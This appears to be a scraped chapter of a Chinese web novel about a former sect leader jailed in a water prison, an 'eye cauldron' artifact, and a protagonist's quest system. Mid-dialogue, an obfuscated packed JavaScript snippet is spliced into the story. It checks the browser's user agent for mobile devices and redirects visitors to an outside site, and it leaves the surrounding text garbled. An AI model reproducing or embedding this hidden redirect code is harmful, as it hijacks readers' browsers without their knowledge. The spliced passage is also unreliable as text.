讼院这处地方,原不叫这名儿,上一任掌门亲手绘了此处的图纸,他好莲,便建成了上亭台楼阁,下莲池的院子,这莲池也巧,日头好时将侧房角门处的隔板卸了,太阳便铺满整个地下池,这莲花虽是阴培,倒也长势喜人。
后掌门身去,此一代掌门承位,第一件事却是下令将那处院子底下的莲花尽数挖了,上面的院子也改作讼院和诉院。
犯重罪的修士基本都被关押于原来的莲池,俗称——水牢。
于是后来不管天气好坏有无太阳,水牢都昏暗无灯,监守捞人都很费力气的地方,还是有些蛇鼠蚊虫能钻进来,水牢最深处的监牢里只有一个人,远离人间,甚至远离其它刑罚。
但那只会凫水的老鼠也顺着缝隙一路钻了过来,一双枯瘦如柴只剩一层皮包骨的手将那只老鼠抓起,轻柔地取下它嘴里的纸条,看了一眼便塞进嘴里嚼了,仿佛是天可怜见,一道阳光透过层层隔绝的水牢隔板,顺着被腐蚀的木板缝隙里照射到她的脸上,她伸出那只手,将光束聚在手心,短暂地邂逅了那温和且久违的阳光。
“那‘眼鼎’是什么东西?”候枣认真问道,不过即使心念斗转,手下却也没停止“鬼画符”。
祁霁在一旁拿了针线绣荷包,这虽然惊掉了候枣和善德的下巴,但邹旎却觉得不惊讶,想必祁霁是跟宋雅学的,宋雅也是个吃饭聊天手都不停的奇女子。
善德从祁霁翻飞的双手间收回目光,“那是一个祭品,是天道院的东西,不过......来路不正。”
候枣:“怎么来路不正?”
善德仔细想了想才道,“‘眼鼎’的铸就需要无数双天道院僧人的眼睛,据说天道院僧人的眼睛见惯了俗世杂念却依旧保持内心澄净,因此用他们所铸就的鼎自然也能承载世间至极之物。”
“至极之物?至纯至善至恶那种?”候枣昨舌。
善德“嗯”了一声,好似勾起了他无限遐想,再没说话。
候枣等待震惊的余韵过去,扭头问祁霁,“今儿怎么没见着你弟子呢?”
她话音未落,邹旎抱了古籍推开了后门,先反驳了候枣那句话,“我可不是他弟子,他一招半式没教会我。”
祁霁并不恼,好整以暇道,“秘籍给了,功法教了,不会的话我时刻在身边随时可问,如此好的条件,还没学会那便是弟子的懒惰居多。”
邹旎扪心一问好像是这样诶,摸了摸鼻尖,假装没听到,“我找到一些关于‘眼鼎’的信息,还有......柳三叶。”
她原是太羽涯第五十三任掌门,摘仙郡绣品出名,不过后来当太羽涯驻在此处,只要有点家底的全进了太羽涯门派,因此当柳三叶还是一名绣娘时,她便也梦想着有一天当修士修自己的道。
她娘是耗子巷有名的泼妇,一言不合就能骂对方祖宗十八代,当全民皆贫苦的时候,某个扎眼的存在并不算什么,众人忙着活下来,哪里顾得上管别人,但她娘每每放言柳三叶这个小绣娘有一天一定能当上太羽涯的掌门,大家都说她是痴人说梦,柳三叶起先并不好强,好强的敢与任何人作对的是她娘,她娘被街坊邻居取笑她不往心里去,但每晚都雷打不动地带着她绕着摘仙郡跑三圈,修士要底子好才能被选中。
成年人手臂粗的漆木她娘让她举着扎马步,手稍微一落就挨打,最令人难以忍受的还是漆木过敏,每晚手臂酸疼连带着浑身起疹子。
每到这时柳三叶都心里怨恨着,老天没给她娘赐一个带把儿的,就拐着弯的折磨这个女儿,她爹死的早,因此在她心里爹爹的身影总是伟岸光正的,若有爹会不会她娘就没那么疯。
但后来长大了,她回答了年幼时自己的那个问题——并不会,世上乌鸦一般黑,有了爹或许连天道院门槛都摸不着。
得益于她娘对她每晚的耳提面命,稍长大些柳三叶为了面子也开始将“进入太羽涯”当做毕生信条,赢了就当是她自己努力,输了就说她娘好高骛远,她是这样想的。
但等被关进无休止黑暗的水牢中受罪时,她再一次感激了她那位在她考入太羽涯后便早死的娘,她娘没等到过上好日子,没等着自家女儿风光归来,只有一场算得上体面的葬礼将她的一生打发了。
那个葬礼柳三叶是求了她师父一天,师父从手指缝里撒了几枚灵石才办成的,她师父对她没有她娘那么狠,时常也是细雨般温和的,若是浑身皮肉完好的人,淋了那细雨或许觉得是恩赐,但她已经满身伤痕,最在意的心口处的那个伤口已经溃烂发痒,细雨淋身留下一生的潮湿与阵痛。
这最后的几枚灵石无疑成了剜她伤口的一把刀,她一直想错了,原来伤她最深的才爱之切。
掌门也并没有光风霁月,一味地牟取暴利或许就是掌门的责任。
当掌门对外宣称由大弟子柳三叶继位时,叶高和师父已经商量好了李代桃僵——既保留了顺位有能力者继承的面子,也为将来太羽涯的财路发展谋求了前途。
那......为何不杀了柳三叶一了百了呢?或许叶高的愚蠢让他想叫这个无法无视将师父都不放在眼里的清高之士看看,这世道不是你多惨就可以称王称霸有多少荣耀的,能力只是其次,首先要会溜须拍马,还要会察言观色。
刚巧这些柳三叶她娘从未教过,于是柳三叶也不会。
后来柳三叶觉得这水牢里受的苦甚至都没有小时候漆木过敏、双臂肿胀疼痛无法扣挠时,流进嘴里的泪水苦,也没有不好好用功她娘用沾水藤条抽到小腿上疼,那时候她是真恨她娘啊。
“这些书是从耗子巷柳三叶她娘的家里拿来的,知了先生说里面有些地方都记载了‘眼鼎’这东西,这个鼎主承载,用于祭祀。”邹旎将一堆灰扑扑的书籍放到桌上,那些书不知是年代久远了还是本来就是那番模样,翻两页便整个都散开了。
“这次花了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349086|166086||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
钱?”候枣随便翻了一下,不得不佩服这个情报家,甚至柳三叶的故居都能知道,而且还是在耗子巷,从那天与知了和喜娘第一次见面,她便知道了“耗子巷”这个奇特的地区,未曾想柳三叶也是那里出身。
邹旎:“不贵,知了给了个友情价,说要和我们后续加盟,他要走了打算带些我们的产品外销,我答应了。”
善德:“他要走?去哪?”
邹旎摇摇头,“说是畅游天地,不知道。”
众人便闭了嘴,随便翻开几本,那上面密密麻麻的竟然都是柳三叶用炭笔做的笔记,有时候是稚嫩的思索,有时候是愤怒的无条理的乱画。
越往后也有些是颇有灵气的修行记录,还有些心得体会,看那字体许是长大了,一笔一划的行文间总令邹旎感到熟悉。
邹旎从书堆里找到了一本和其它相比之下稍微新一点的书,那书保管的较好,虽上面也布满了灰尘但却没有翻两页便散架的情况,够结实,应该只看过一两次。
那书名叫《窥天之贰》,状似谜语般的书名,好像还是一个系列书籍,这应该是里边的第二本,邹旎信手翻开一页,首先映入眼帘的是被整整齐齐撕下来的锯齿状痕迹,但被撕下来的书页却完好的夹在里面,上面绘着一樽鼎,外部平平无奇,但最下方有个俯视图,里面密密麻麻的是人眼。
鼎的旁边标注着使用方法和它的名称——“眼鼎”。而在使用方法旁,“邪术”二字力透纸背,那一撇一捺的走向却异常熟悉。
邹旎反应半晌,陡然想起那两字她在哪处曾看到过。
刘宅后院,谯楠撕下来的那页纸——“束自在阵”!(注1)
但应该不是同一本书,毕竟时间线对不上,柳三叶比谯楠年纪大得多,那就应该是这套书有很多分本,而曾经柳三叶看过的那书不知怎的流传到了谯楠门派的藏典阁中积压了起来。
邹旎心神剧震,仿佛是某些冥冥之中的圈套,将她们困在既定的陷阱中,脖颈处的绳索已经缓缓收紧。
祁霁偏过头,“怎么了?”
他无视心中系统冷静地播报:“《西山寺》副本任务结算成功,任务完成度98%,宿主1号获得奖励:翻转(石镜),注:使用次数仅两次。”
系统播报完成却并未离开,又紧跟着提示了一句,“宿主2号任务停滞不前,时间还剩四个月零二十六天十八时,请宿主2号选择一个时间接受惩罚。”
祁霁的任务世间紧张,若是超时,他与任务的连接会断开,惩罚也是系统后来注解的,许是为了催他快点。
“今晚吧,等大家都睡着。”祁霁心说。
系统面板上浮现了一个“OK”的手势。
祁霁切断了邹旎和总系统的提示,因此邹旎并不知道西山寺任务的完成,但是祁霁却从邹旎的反应和系统提示中得出了他想要的答案。
下一个献祭者,是邹旎。